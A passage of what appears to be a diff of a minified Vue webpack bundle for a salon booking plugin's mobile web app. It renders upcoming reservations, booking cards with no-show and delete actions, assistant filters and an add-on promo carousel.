e?\"\"===this.modelValue||null===this.modelValue:String(this.modelValue)===String(e)},onChipClick(e){if(this.chipDisabled(e))return;const s=e.id;if(this.isActive(s))return void this.$emit(\"update:modelValue\",\"\");if(\"\"===s||null===s||\"undefined\"===typeof s)return void this.$emit(\"update:modelValue\",\"\");const o=Number(s);this.$emit(\"update:modelValue\",Number.isFinite(o)&&o>0?o:s)}}},h=o(5932);const d=(0,h.A)(m,[[\"render\",u],[\"__scopeId\",\"data-v-aa131824\"]]);var g=d}}]);\n\\ No newline at end of file\n+\"use strict\";(self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[]).push([[114],{1114:function(e,s,o){o.r(s),o.d(s,{default:function(){return fe}});var t=o(6436),i=o(1469);function a(e,s,o,a,n,r){const l=(0,t.g2)(\"ImagesList\"),c=(0,t.g2)(\"CustomersAddressBook\"),u=(0,t.g2)(\"EditBookingItem\"),m=(0,t.g2)(\"CustomerDetails\"),h=(0,t.g2)(\"BookingDetails\"),d=(0,t.g2)(\"UpcomingReservations\");return(0,t.uX)(),(0,t.CE)(\"div\",null,[e.isShowCustomerImages?((0,t.uX)(),(0,t.Wv)(l,{key:0,customer:e.showImagesCustomer,onClose:r.closeShowCustomerImages,onTakePhoto:e.showTakePhoto,takePhotoFile:e.photo},null,8,[\"customer\",\"onClose\",\"onTakePhoto\",\"takePhotoFile\"])):e.isChooseCustomer?((0,t.uX)(),(0,t.Wv)(c,{key:1,onCloseChooseCustomer:r.closeChooseCustomer,chooseCustomerAvailable:!0,onChoose:r.choose,shop:e.item.shop},null,8,[\"onCloseChooseCustomer\",\"onChoose\",\"shop\"])):e.editItem?((0,t.uX)(),(0,t.Wv)(u,{key:2,booking:e.item,customer:e.customer,onClose:r.closeEditItem,onChooseCustomer:r.chooseCustomer},null,8,[\"booking\",\"customer\",\"onClose\",\"onChooseCustomer\"])):e.showCustomerProfile?((0,t.uX)(),(0,t.Wv)(m,{key:3,customerID:e.selectedCustomer.id,customerFirstname:e.selectedCustomer.first_name,customerLastname:e.selectedCustomer.last_name,customerEmail:e.selectedCustomer.email,customerPhone:e.selectedCustomer.phone,customerAddress:e.selectedCustomer.address,customerPersonalNotes:e.selectedCustomer.note,onClose:r.closeCustomerProfile},null,8,[\"customerID\",\"customerFirstname\",\"customerLastname\",\"customerEmail\",\"customerPhone\",\"customerAddress\",\"customerPersonalNotes\",\"onClose\"])):e.showItem?((0,t.uX)(),(0,t.Wv)(h,{key:4,booking:e.item,onClose:r.closeShowItem,onEdit:r.setEditItem,onShowCustomerImages:r.showCustomerImages,onViewCustomerProfile:r.openCustomerProfile},null,8,[\"booking\",\"onClose\",\"onEdit\",\"onShowCustomerImages\",\"onViewCustomerProfile\"])):(0,t.Q3)(\"\",!0),(0,t.bo)((0,t.bF)(d,{onShowItem:r.setShowItem,shop:o.shop},null,8,[\"onShowItem\",\"shop\"]),[[i.aG,!e.showItem&&!e.showCustomerProfile]])])}var n=o(7959);const r={class:\"upcoming-screen\"},l={class:\"screen-header\"},c={class:\"screen-title\"},u={key:0,class:\"screen-subtitle\"},m={key:1,class:\"screen-subtitle screen-subtitle--warning\"},h={key:0,class:\"search-bar\"},d={key:1,class:\"filter-chips\"},g=[\"onClick\"],b={key:3,class:\"loading-center\"},p={key:4,class:\"upcoming-bookings-and-promo\"},k=[\"aria-label\"],f={class:\"bookings-list bookings-list--stacked\"},C={key:1,class:\"empty-state\"},w={class:\"empty-state-icon\"},y={class:\"empty-state-sub\"};function v(e,s,o,a,v,_){const L=(0,t.g2)(\"ProUpgradeModal\"),I=(0,t.g2)(\"font-awesome-icon\"),S=(0,t.g2)(\"AssistantFilterChips\"),P=(0,t.g2)(\"b-spinner\"),E=(0,t.g2)(\"BookingItem\"),F=(0,t.g2)(\"UpcomingPromoCarousel\");return(0,t.uX)(),(0,t.CE)(\"div\",r,[(0,t.bF)(L,{modelValue:e.proUpgradeModalVisible,\"onUpdate:modelValue\":s[0]||(s[0]=s=>e.proUpgradeModalVisible=s),\"message-override\":this.getLabel(\"proUpgradeBookingDetailsMessage\"),\"navigate-to-upcoming-on-dismiss\":!1},null,8,[\"modelValue\",\"message-override\"]),(0,t.Lk)(\"div\",l,[(0,t.Lk)(\"h1\",c,[(0,t.eW)((0,n.v_)(this.getLabel(\"upcomingReservationsTitle\"))+\" \",1),_.isShopsEnabled&&o.shop&&o.shop.name?((0,t.uX)(),(0,t.CE)(\"span\",u,\" - \"+(0,n.v_)(o.shop.name),1)):_.isShopsEnabled&&!o.shop?((0,t.uX)(),(0,t.CE)(\"span\",m,\" - No shop selected\")):(0,t.Q3)(\"\",!0)]),(0,t.Lk)(\"button\",{class:\"header-icon-btn\",onClick:s[1]||(s[1]=s=>e.isSearchVisible=!e.isSearchVisible),\"aria-label\":\"Search\"},[(0,t.bF)(I,{icon:e.isSearchVisible?\"fa-solid fa-circle-xmark\":\"fa-solid fa-magnifying-glass\"},null,8,[\"icon\"])])]),e.isSearchVisible?((0,t.uX)(),(0,t.CE)(\"div\",h,[(0,t.bF)(I,{icon:\"fa-solid fa-magnifying-glass\",class:\"search-bar-icon\"}),(0,t.bo)((0,t.Lk)(\"input\",{\"onUpdate:modelValue\":s[2]||(s[2]=s=>e.search=s),class:\"search-bar-input\",placeholder:\"Search bookings…\",autofocus:\"\"},null,512),[[i.Jo,e.search]]),e.search?((0,t.uX)(),(0,t.Wv)(I,{key:0,icon:\"fa-solid fa-circle-xmark\",class:\"search-bar-clear\",onClick:s[3]||(s[3]=s=>{e.search=\"\",e.isSearchVisible=!1})})):(0,t.Q3)(\"\",!0)])):(0,t.Q3)(\"\",!0),e.search?(0,t.Q3)(\"\",!0):((0,t.uX)(),(0,t.CE)(\"div\",d,[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(e.hours,s=>((0,t.uX)(),(0,t.CE)(\"button\",{key:s.hours,class:(0,n.C4)([\"chip\",{\"chip--active\":e.hourValue===s.hours}]),onClick:o=>e.hourValue=s.hours},(0,n.v_)(s.label),11,g))),128))])),e.canUseAssistantFilter&&_.attendants.length>0&&!e.search?((0,t.uX)(),(0,t.Wv)(S,{key:2,modelValue:e.filterAttendant,\"onUpdate:modelValue\":s[4]||(s[4]=s=>e.filterAttendant=s),assistants:_.attendants},null,8,[\"modelValue\",\"assistants\"])):(0,t.Q3)(\"\",!0),e.isLoading?((0,t.uX)(),(0,t.CE)(\"div\",b,[(0,t.bF)(P)])):((0,t.uX)(),(0,t.CE)(\"div\",p,[_.filteredBookingsList.length>0?((0,t.uX)(),(0,t.CE)(\"div\",{key:0,class:\"bookings-scroll-region\",\"aria-label\":e.getLabel(\"upcomingBookingsScrollAriaLabel\")},[(0,t.Lk)(\"div\",f,[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(_.filteredBookingsList,e=>((0,t.uX)(),(0,t.Wv)(E,{key:e.id,booking:e,onDeleteItem:s=>_.deleteItem(e.id),onShowDetails:s=>_.showDetails(e)},null,8,[\"booking\",\"onDeleteItem\",\"onShowDetails\"]))),128))])],8,k)):((0,t.uX)(),(0,t.CE)(\"div\",C,[(0,t.Lk)(\"div\",w,[(0,t.bF)(I,{icon:\"fa-regular fa-circle-check\"})]),s[5]||(s[5]=(0,t.Lk)(\"p\",{class:\"empty-state-title\"},\"No upcoming bookings\",-1)),(0,t.Lk)(\"p\",y,(0,n.v_)(this.getLabel(\"upcomingReservationsNoResultLabel\")),1)])),(0,t.bF)(F)]))])}o(8992),o(4520),o(3949),o(1454),o(3375),o(9225),o(3972),o(9209),o(5714),o(7561),o(6197);var _=o(8297),L=o(4119);const I={class:\"booking-body\"},S={class:\"booking-row booking-row--top\"},P={class:\"booking-time\"},E={class:\"booking-row\"},F={class:\"booking-customer\"},N={class:\"booking-id\"},A={key:0,class:\"booking-row booking-row--sub\"},B={key:0,class:\"booking-services\"},D={key:1,class:\"booking-attendants\"},T={class:\"booking-actions-start\"},X=[\"disabled\",\"title\"],U={class:\"action-right\"},V=[\"innerHTML\"],$={class:\"delete-confirm\"},M={class:\"delete-confirm-text\"};function H(e,s,o,a,r,l){const c=(0,t.g2)(\"font-awesome-icon\"),u=(0,t.g2)(\"PayRemainingAmount\");return(0,t.uX)(),(0,t.CE)(\"div\",{class:(0,n.C4)([\"booking-card\",{\"booking-card--no-show\":o.booking.no_show}]),onClick:s[7]||(s[7]=(...e)=>l.showDetails&&l.showDetails(...e))},[(0,t.Lk)(\"div\",I,[(0,t.Lk)(\"div\",S,[(0,t.Lk)(\"span\",P,(0,n.v_)(l.date)+\" · \"+(0,n.v_)(l.fromTime)+\"–\"+(0,n.v_)(l.toTime),1),(0,t.Lk)(\"span\",{class:\"status-badge\",style:(0,n.Tr)(l.statusBadgeStyle)},(0,n.v_)(l.status),5)]),(0,t.Lk)(\"div\",E,[(0,t.Lk)(\"span\",F,(0,n.v_)(l.customer),1),(0,t.Lk)(\"span\",N,\"#\"+(0,n.v_)(l.id),1)]),l.serviceNames||l.assistantNames?((0,t.uX)(),(0,t.CE)(\"div\",A,[l.serviceNames?((0,t.uX)(),(0,t.CE)(\"span\",B,(0,n.v_)(l.serviceNames),1)):(0,t.Q3)(\"\",!0),l.assistantNames?((0,t.uX)(),(0,t.CE)(\"span\",D,(0,n.v_)(l.assistantNames),1)):(0,t.Q3)(\"\",!0)])):(0,t.Q3)(\"\",!0),(0,t.Lk)(\"div\",{class:\"booking-row booking-row--actions\",onClick:s[3]||(s[3]=(0,i.D$)(()=>{},[\"stop\"]))},[(0,t.Lk)(\"div\",T,[e.canUsePwaNoShowControl?((0,t.uX)(),(0,t.CE)(t.FK,{key:0},[(0,t.Lk)(\"button\",{type:\"button\",class:(0,n.C4)([\"no-show-icon\",{active:o.booking.no_show}]),disabled:e.isProcessingNoShow,title:o.booking.no_show?\"Marked as No-Show (click to unmark)\":\"Mark as No-Show\",\"aria-label\":\"Toggle no-show\",onClick:s[0]||(s[0]=(...e)=>l.toggleNoShow&&l.toggleNoShow(...e))},[...s[8]||(s[8]=[(0,t.Lk)(\"span\",{class:\"no-show-icon-svg\",\"aria-hidden\":\"true\"},null,-1)])],10,X),o.booking.no_show?((0,t.uX)(),(0,t.CE)(\"button\",{key:0,type:\"button\",class:\"trash-icon\",title:\"Delete no-show booking\",\"aria-label\":\"Delete booking\",onClick:s[1]||(s[1]=(...e)=>l.deleteItemDirect&&l.deleteItemDirect(...e))},[...s[9]||(s[9]=[(0,t.Lk)(\"span\",{class:\"trash-icon-svg\",\"aria-hidden\":\"true\"},null,-1)])])):(0,t.Q3)(\"\",!0)],64)):((0,t.uX)(),(0,t.CE)(\"button\",{key:1,type:\"button\",class:\"action-btn action-btn--danger\",onClick:s[2]||(s[2]=s=>e.isDelete=!0),\"aria-label\":\"Delete\"},[(0,t.bF)(c,{icon:\"fa-solid fa-trash\"})]))]),(0,t.Lk)(\"div\",U,[(0,t.bF)(u,{booking:o.booking},null,8,[\"booking\"]),(0,t.Lk)(\"span\",{class:\"booking-total\",innerHTML:l.totalSum},null,8,V)])])]),!e.canUsePwaNoShowControl&&e.isDelete?((0,t.uX)(),(0,t.CE)(t.FK,{key:0},[(0,t.Lk)(\"div\",{class:\"delete-backdrop\",onClick:s[4]||(s[4]=s=>e.isDelete=!1)}),(0,t.Lk)(\"div\",$,[(0,t.Lk)(\"p\",M,(0,n.v_)(this.getLabel(\"deleteBookingConfirmText\")),1),(0,t.Lk)(\"button\",{class:\"delete-confirm-btn\",onClick:s[5]||(s[5]=(...e)=>l.deleteItem&&l.deleteItem(...e))},(0,n.v_)(this.getLabel(\"deleteBookingButtonLabel\")),1),(0,t.Lk)(\"button\",{class:\"delete-confirm-cancel\",onClick:s[6]||(s[6]=(0,i.D$)(s=>e.isDelete=!1,[\"stop\"]))},(0,n.v_)(this.getLabel(\"deleteBookingGoBackLabel\")),1)])],64)):(0,t.Q3)(\"\",!0)],2)}var W=o(1011),x={name:\"BookingItem\",props:{booking:{default:function(){return{}}}},data:function(){return{isDelete:!1,isProcessingNoShow:!1}},components:{PayRemainingAmount:W.A},computed:{customer(){return this.booking.customer_first_name+\" \"+this.booking.customer_last_name},status(){return this.$root.statusesList[this.booking.status].label},statusColor(){return this.$root.statusesList[this.booking.status].color},statusBadgeStyle(){const e=this.statusColor;return{backgroundColor:e+\"1F\",color:e}},date(){return this.dateFormat(this.booking.date)},fromTime(){const e=\"default\"===this.timeFormat?\"HH:mm\":\"h:mma\";return this.moment(this.booking.time,\"HH:mm\").format(e)},toTime(){const e=\"default\"===this.timeFormat?\"HH:mm\":\"h:mma\",s=this.booking.services??[];return s.length>0?this.moment(s[s.length-1].end_at,\"HH:mm\").format(e):this.moment(this.booking.time,\"HH:mm\").format(e)},totalSum(){return this.booking.amount+\" \"+this.booking.currency},id(){return this.booking.id},assistants(){return(this.booking.services??[]).map(e=>({id:e.assistant_id,name:e.assistant_name})).filter(e=>+e.id)},serviceNames(){const e=(this.booking.services??[]).map(e=>e.name).filter(Boolean);return e.join(\", \")},assistantNames(){return this.assistants.map(e=>e.name).join(\" · \")},timeFormat(){return void 0===this.$root.settings.time_format?\"default\":this.$root.settings.time_format.type??\"default\"}},methods:{deleteItem(){this.$emit(\"deleteItem\"),this.isDelete=!1},deleteItemDirect(){this.$emit(\"deleteItem\")},async toggleNoShow(){if(this.canUsePwaNoShowControl&&!this.isProcessingNoShow){this.isProcessingNoShow=!0;try{const e=!this.booking.no_show,s=await this.axios.post(\"bookings\u002Fno-show\",{bookingId:this.booking.id,noShow:e?1:0});s.data&&s.data.success&&(this.booking.no_show=e,this.$emit(\"booking-no-show-changed\",{bookingId:this.booking.id,noShow:e}),this.$root.$emit(\"show-notification\",{type:\"success\",message:e?\"Marked as no-show\":\"Unmarked as no-show\"}))}catch(e){console.error(\"Error toggling no-show:\",e),this.$root.$emit(\"show-notification\",{type:\"error\",message:\"Failed to update no-show status\"})}finally{this.isProcessingNoShow=!1}}},showDetails(){this.$emit(\"showDetails\")}},emits:[\"deleteItem\",\"showDetails\",\"booking-no-show-changed\"]},Q=o(5932);const R=(0,Q.A)(x,[[\"render\",H],[\"__scopeId\",\"data-v-4803b1e6\"]]);var Y=R;const K={class:\"upcoming-promo-carousel\",\"aria-labelledby\":\"upcoming-promos-heading\"},z={id:\"upcoming-promos-heading\",class:\"upcoming-promo-carousel__title\"},j={class:\"upcoming-promo-carousel__track\",role:\"list\"},q={class:\"upcoming-promo-carousel__card-top\"},G={class:\"upcoming-promo-carousel__card-icon\",\"aria-hidden\":\"true\"},J={key:0,class:\"upcoming-promo-carousel__category-pill\"},O={class:\"upcoming-promo-carousel__card-title\"},Z={class:\"upcoming-promo-carousel__card-body\"},ee=[\"href\"];function se(e,s,o,i,a,r){const l=(0,t.g2)(\"font-awesome-icon\");return(0,t.uX)(),(0,t.CE)(\"section\",K,[(0,t.Lk)(\"h2\",z,(0,n.v_)(e.getLabel(\"upcomingPromosSectionTitle\")||\"Features & add-ons\"),1),(0,t.Lk)(\"div\",j,[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(r.slides,(e,s)=>((0,t.uX)(),(0,t.CE)(\"article\",{key:e.href?`${e.href}-${s}`:`slide-${s}`,class:(0,n.C4)([\"upcoming-promo-carousel__card\",{\"upcoming-promo-carousel__card--dummy\":e.dummy,\"upcoming-promo-carousel__card--license\":e.licensePromo}]),role:\"listitem\"},[(0,t.Lk)(\"div\",q,[(0,t.Lk)(\"div\",G,[(0,t.bF)(l,{icon:e.icon},null,8,[\"icon\"])]),e.category?((0,t.uX)(),(0,t.CE)(\"span\",J,(0,n.v_)(e.category),1)):(0,t.Q3)(\"\",!0)]),(0,t.Lk)(\"h3\",O,(0,n.v_)(e.title),1),(0,t.Lk)(\"p\",Z,(0,n.v_)(e.body),1),e.href?((0,t.uX)(),(0,t.CE)(\"a\",{key:0,href:e.href,class:\"upcoming-promo-carousel__card-link\",target:\"_blank\",rel:\"noopener noreferrer\"},(0,n.v_)(e.cta),9,ee)):(0,t.Q3)(\"\",!0)],2))),128))])])}function oe(e){const s=(e||\"\").toLowerCase();return s.includes(\"sms\")||s.includes(\"text message\")||s.includes(\"ovh\")||s.includes(\"twilio\")?\"fa-solid fa-bell\":s.includes(\"mail\")||s.includes(\"email\")||s.includes(\"communicator\")||s.includes(\"mailchimp\")?\"fa-solid fa-globe\":s.includes(\"woo\")||s.includes(\"stripe\")||s.includes(\"paypal\")||s.includes(\"payment\")?\"fa-solid fa-store\":s.includes(\"calendar\")||s.includes(\"google\")||s.includes(\"outlook\")||s.includes(\"apple\")?\"fa-solid fa-calendar-days\":s.includes(\"price\")||s.includes(\"dynamic\")?\"fa-solid fa-chart-simple\":s.includes(\"note\")||s.includes(\"soap\")?\"fa-solid fa-pen-to-square\":s.includes(\"geo\")||s.includes(\"location\")||s.includes(\"multi-shop\")||s.includes(\"branch\")?\"fa-solid fa-globe\":s.includes(\"package\")||s.includes(\"bundle\")||s.includes(\"membership\")?\"fa-solid fa-medal\":\"fa-solid fa-puzzle-piece\"}function te(e,s){return[{dummy:!0,icon:\"fa-solid fa-circle-plus\",title:\"Sample: new add-on slot\",body:\"Dummy promo card for layout and carousel testing. Replace with real campaigns in production.\",href:e,cta:s},{dummy:!0,icon:\"fa-solid fa-globe\",title:\"Sample: booking widget\",body:\"Placeholder copy. Use this strip to highlight features, integrations, or seasonal offers.\"},{dummy:!0,icon:\"fa-solid fa-images\",title:\"Sample: gallery & media\",body:\"Third dummy card so horizontal snap scrolling is easy to verify on a phone.\",href:e,cta:s}]}var ie={name:\"UpcomingPromoCarousel\",computed:{slides(){const e=window.slnPWA?.pro_pricing_url||\"#\",s=this.getLabel(\"upcomingPromoCtaLabel\")||\"Learn more\",o=this.buildLicenseUpgradeSlide(e,s),t=Array.isArray(window.slnPWA?.featured_addon_promos)?window.slnPWA.featured_addon_promos:[];let i=[];return i=t.length?t.map(e=>({icon:oe(e.title),title:e.title||\"\",body:e.body||\"\",href:e.href||\"\",cta:e.cta||s,category:\"string\"===typeof e.category?e.category.trim():\"\"})):this.buildLegacyPromoSlides(e,s),o?[...i,o]:i}},methods:{buildLicenseUpgradeSlide(e,s){const o=window.slnPWA?.license_upgrade_promo;return o&&o.kind?\"free_pro\"===o.kind?{licensePromo:!0,icon:\"fa-solid fa-unlock\",title:this.getLabel(\"pwaLicensePromoFreeProTitle\")||\"\",body:this.getLabel(\"pwaLicensePromoFreeProBody\")||\"\",href:o.href||e,cta:this.getLabel(\"pwaLicensePromoFreeProCta\")||s}:\"basic_business\"===o.kind?{licensePromo:!0,icon:\"fa-solid fa-rocket\",title:this.getLabel(\"pwaLicensePromoBasicBusinessTitle\")||\"\",body:this.getLabel(\"pwaLicensePromoBasicBusinessBody\")||\"\",href:o.href||e,cta:this.getLabel(\"pwaLicensePromoBasicBusinessCta\")||s}:null:null},buildLegacyPromoSlides(e,s){const o=[{icon:\"fa-solid fa-chart-simple\",title:this.getLabel(\"upcomingPromo1Title\")||\"Dynamic pricing\",body:this.getLabel(\"upcomingPromo1Body\")||\"\",href:e,cta:s},{icon:\"fa-solid fa-bell\",title:this.getLabel(\"upcomingPromo2Title\")||\"SMS notifications\",body:this.getLabel(\"upcomingPromo2Body\")||\"\"},{icon:\"fa-solid fa-medal\",title:this.getLabel(\"upcomingPromo3Title\")||\"Full mobile workflow\",body:this.getLabel(\"upcomingPromo3Body\")||\"\",href:e,cta:s}];return!1!==window.slnPWA?.dummy_promo_cards?[...o,...te(e,s)]:o}}};const ae=(0,Q.A)(ie,[[\"render\",se],[\"__scopeId\",\"data-v-71783f76\"]]);var ne=ae,re=o(1815),le={name:\"UpcomingReservations\",props:{shop:{default:function(){return{}}}},data:function(){return{hours:[{label:this.getLabel(\"label8Hours\"),hours:8},{label:this.getLabel(\"label24Hours\"),hours:24},{label:this.getLabel(\"label3Days\"),hours:72},{label:this.getLabel(\"label1Week\"),hours:168}],hourValue:8,bookingsList:[],isLoading:!1,filterAttendant:\"\",search:\"\",proUpgradeModalVisible:!1,timeout:null,isSearchVisible:!1,assistantImagesById:{},assistantFilterList:[],busyNowTick:0}},mounted(){this.load(),setInterval(()=>this.update(),6e4),this._busyNowIntervalId=setInterval(()=>{this.busyNowTick=Date.now()},3e4)},beforeUnmount(){this._busyNowIntervalId&&clearInterval(this._busyNowIntervalId)},components:{AssistantFilterChips:_.A,ProUpgradeModal:L.A,BookingItem:Y,UpcomingPromoCarousel:ne},watch:{hourValue(e){e&&this.load()},search(e){e?(this.hourValue=\"\",this.loadSearch()):this.hourValue=8},shop(){this.load()}},computed:{isShopsEnabled(){return window.slnPWA?.is_shops||!1},attendants(){if(this.busyNowTick,!this.canUseAssistantFilter)return[];const e={id:\"\",name:this.getLabel(\"allTitle\"),imageUrl:\"\",filterable:!0,busyNow:!1},s=this.bookingsList||[],o=(0,re.F3)(s),t=Date.now(),i=new Map;(this.assistantFilterList||[]).forEach(e=>{const s=Number(e.id);!Number.isFinite(s)||s\u003C=0||i.set(s,{id:s,name:e.name||\"\",image_url:\"string\"===typeof e.image_url?e.image_url.trim():\"\"})}),s.forEach(e=>{(e.services||[]).forEach(e=>{const s=Number(e.assistant_id);!Number.isFinite(s)||s\u003C=0||i.has(s)||i.set(s,{id:s,name:e.assistant_name||\"#\"+s,image_url:\"\"})})});const a=(this.assistantFilterList||[]).map(e=>Number(e.id)).filter(e=>Number.isFinite(e)&&e>0),n=[...i.keys()].filter(e=>!a.includes(e)).sort((e,s)=>String(i.get(e).name||\"\").localeCompare(String(i.get(s).name||\"\"),void 0,{sensitivity:\"base\"})),r=[...a.filter(e=>i.has(e)),...n];if(0===r.length)return[];const l=r.map(e=>{const a=i.get(e),n=(this.assistantImagesById[e]||\"\").trim(),r=n||a.image_url||\"\";return{id:e,name:a.name,imageUrl:r,filterable:o.has(e),busyNow:(0,re.Eq)(s,e,t,this.moment)}});return[e,...l]},filteredBookingsList(){return this.canUseAssistantFilter?this.bookingsList.filter(e=>{var s=!1;return e.services.forEach(e=>{String(this.filterAttendant)===String(e.assistant_id)&&(s=!0)}),\"\"===this.filterAttendant||s}):this.bookingsList}},methods:{deleteItem(e){this.axios.delete(\"bookings\u002F\"+e).then(()=>{this.bookingsList=this.bookingsList.filter(s=>s.id!==e)})},showDetails(e){!0===window.slnPWA?.is_pro?this.$emit(\"showItem\",e):this.proUpgradeModalVisible=!0},fetchAssistantThumbs(){if(!this.canUseAssistantFilter)return Promise.resolve();const e={per_page:-1,orderby:\"order\",order:\"asc\"};return this.isShopsEnabled&&this.shop&&this.shop.id&&(e.shop=this.shop.id),this.axios.get(\"assistants\",{params:e}).then(e=>{const s=e.data.items||[];this.assistantFilterList=s;const o={...this.assistantImagesById};s.forEach(e=>{const s=Number(e.id);if(!Number.isFinite(s)||s\u003C=0)return;const t=\"string\"===typeof e.image_url?e.image_url.trim():\"\";t&&(o[s]=t)}),this.assistantImagesById=o}).catch(()=>{})},enrichAssistantThumbsForBookings(e){if(!this.canUseAssistantFilter||!Array.isArray(e)||!e.length)return Promise.resolve();const s=new Set;return e.forEach(e=>{(e.services||[]).forEach(e=>{const o=e.assistant_id;if(\"number\"!==typeof o&&\"string\"!==typeof o)return;const t=Number(o);if(!Number.isFinite(t)||t\u003C=0)return;const i=(this.assistantImagesById[t]||\"\").trim()||(e.assistant_image_url||\"\").trim();i||s.add(t)})}),s.size?Promise.all([...s].map(e=>this.axios.get(`assistants\u002F${e}`).then(s=>{const o=s.data?.items?.[0],t=o?.image_url&&String(o.image_url).trim();return t?{id:e,url:t}:null}).catch(()=>null))).then(e=>{const s={...this.assistantImagesById};e.forEach(e=>{e&&(s[e.id]=e.url)}),this.assistantImagesById=s}):Promise.resolve()},load(){this.isLoading=!0,this.bookingsList=[],this.assistantImagesById={},this.assistantFilterList=[];const e={hours:this.hourValue,shop:this.shop?this.shop.id:null};Promise.all([this.axios.get(\"bookings\u002Fupcoming\",{params:e}),this.fetchAssistantThumbs()]).then(([e])=>(this.bookingsList=e.data.items,this.enrichAssistantThumbsForBookings(this.bookingsList))).finally(()=>{this.isLoading=!1})},loadSearch(){this.timeout&&clearTimeout(this.timeout),this.timeout=setTimeout(()=>{this.isLoading=!0,this.bookingsList=[],this.assistantImagesById={},this.assistantFilterList=[],Promise.all([this.axios.get(\"bookings\",{params:{search:this.search,per_page:-1,order_by:\"date_time\",order:\"asc\",start_date:this.moment().format(\"YYYY-MM-DD\"),shop:this.shop?this.shop.id:null}}),this.fetchAssistantThumbs()]).then(([e])=>(this.bookingsList=e.data.items,this.enrichAssistantThumbsForBookings(this.bookingsList))).finally(()=>{this.isLoading=!1})},1e3)},update(){Promise.all([this.axios.get(\"bookings\u002Fupcoming\",{params:{hours:this.hourValue,shop:this.shop?this.shop.id:null}}),this.fetchAssistantThumbs()]).then(([e])=>(this.bookingsList=e.data.items,this.enrichAssistantThumbsForBookings(this.bookingsList)))}},emits:[\"showItem\"]};const ce=(0,Q.A)(le,[[\"render\",v],[\"__scopeId\",\"data-v-f09f4890\"]]);var ue=ce,me=o(2585),he=o(2947),de=o(39),ge=o(7995),be=o(2881),pe={name:\"UpcomingReservationsTab\",props:{shop:{default:function(){return{}}}},components:{UpcomingReservations:ue,BookingDetails:me.A,EditBookingItem:he.A,CustomersAddressBook:de.A,ImagesList:ge.A,CustomerDetails:be.A},data:function(){return{showItem:!1,editItem:!1,item:null,isChooseCustomer:!1,customer:null,isShowCustomerImages:!1,showImagesCustomer:null,showCustomerProfile:!1,selectedCustomer:null}},mounted(){},beforeUnmount(){},methods:{setShowItem(e){this.showItem=!0,this.item=e},closeShowItem(){this.showItem=!1},setEditItem(){this.editItem=!0},closeEditItem(e){this.editItem=!1,this.customer=null,e&&this.setShowItem(e)},chooseCustomer(){this.isChooseCustomer=!0},closeChooseCustomer(){this.isChooseCustomer=!1},choose(e){this.customer=e,this.closeChooseCustomer()},showCustomerImages(e){this.isShowCustomerImages=!0,this.showImagesCustomer=e,this.$emit(\"hideTabsHeader\",!0)},closeShowCustomerImages(e){this.item.customer_photos=e.photos,this.isShowCustomerImages=!1,this.$emit(\"hideTabsHeader\",!1)},openCustomerProfile(e){console.log(\"🟣 UpcomingReservationsTab openCustomerProfile() called with customer:\",e),console.log(\"🟣 Customer ID:\",e.id),this.selectedCustomer=e,this.showItem=!1,this.showCustomerProfile=!0},closeCustomerProfile(){this.showCustomerProfile=!1,this.selectedCustomer=null,this.item&&(this.showItem=!0)},showBookingFromCustomer(e){console.log(\"🟢 showBookingFromCustomer called in UpcomingReservationsTab\",e),this.showCustomerProfile=!1,this.selectedCustomer=null,this.setShowItem(e)}},emits:[\"hideTabsHeader\"]};const ke=(0,Q.A)(pe,[[\"render\",a]]);var fe=ke},1815:function(e,s,o){o.d(s,{Eq:function(){return n},F3:function(){return a}});o(8992),o(3949),o(3375),o(9225),o(3972),o(9209),o(5714),o(7561),o(6197);const t=new Set([\"sln-b-confirmed\",\"sln-b-paid\",\"sln-b-paylater\"]);function i(e,s,o){if(!e||!s)return null;const t=String(s).trim();let i=o(`${e} ${t}`,\"YYYY-MM-DD HH:mm\",!0);return i.isValid()||(i=o(`${e} ${t}`,\"YYYY-MM-DD H:mm\",!0)),i.isValid()?i:null}function a(e){const s=new Set;return(e||[]).forEach(e=>{(e.services||[]).forEach(e=>{const o=Number(e.assistant_id);Number.isFinite(o)&&o>0&&s.add(o)})}),s}function n(e,s,o,a){const n=Number(s);if(!Number.isFinite(n)||n\u003C=0)return!1;const r=a(o);for(const l of e||[]){if(!l||!t.has(l.status))continue;const e=l.date;if(!e)continue;const s=l.services||[];if(s.length)for(const o of s){const s=Number(o.assistant_id);if(!Number.isFinite(s)||s!==n)continue;const t=o.start_at||l.time,c=o.end_at||o.start_at||l.time,u=i(e,t,a);let m=i(e,c,a);if(u&&m&&(m.isBefore(u)&&(m=m.add(1,\"day\")),m.isSame(u)&&(m=u.add(1,\"hour\")),!r.isBefore(u)&&!r.isAfter(m)))return!0}}return!1}},2947:function(e,s,o){o.d(s,{A:function(){return g}});var t=o(6436),i=o(7959),a=o(1469);const n={class:\"screen-wrapper\"},r={class:\"screen-header\"},l={class:\"screen-title\"};function c(e,s,o,c,u,m){const h=(0,t.g2)(\"font-awesome-icon\"),d=(0,t.g2)(\"EditBooking\");return(0,t.bo)(((0,t.uX)(),(0,t.CE)(\"div\",n,[(0,t.Lk)(\"div\",r,[(0,t.Lk)(\"button\",{class:\"back-btn\",type:\"button\",onClick:s[0]||(s[0]=e=>m.close())},[(0,t.bF)(h,{icon:\"fa-solid fa-arrow-left\"})]),(0,t.Lk)(\"h1\",l,(0,i.v_)(e.getLabel(\"editReservationTitle\")),1),s[1]||(s[1]=(0,t.Lk)(\"span\",{class:\"back-btn-placeholder\"},null,-1))]),(0,t.bF)(d,{bookingID:o.booking.id,date:o.booking.date,time:o.booking.time,customerID:o.customer?o.customer.id:o.booking.customer_id,customerFirstname:o.customer?o.customer.first_name:o.booking.customer_first_name,customerLastname:o.customer?o.customer.last_name:o.booking.customer_last_name,customerEmail:o.customer?o.customer.email:o.booking.customer_email,customerPhone:o.customer?o.customer.phone:o.booking.customer_phone,customerAddress:o.customer?o.customer.address:o.booking.customer_address,customerNotes:o.booking.note,customerPersonalNotes:o.customer?o.customer.note:o.booking.customer_personal_note,adminNote:o.booking.admin_note,services:o.booking.services,discounts:o.booking.discounts,status:o.booking.status,isLoading:e.isLoading,isSaved:e.isSaved,isError:e.isError,errorMessage:e.errorMessage,customFields:o.booking.custom_fields,shop:o.booking.shop,onClose:m.close,onChooseCustomer:m.chooseCustomer,onErrorState:m.handleErrorState,onSave:m.save},null,8,[\"bookingID\",\"date\",\"time\",\"customerID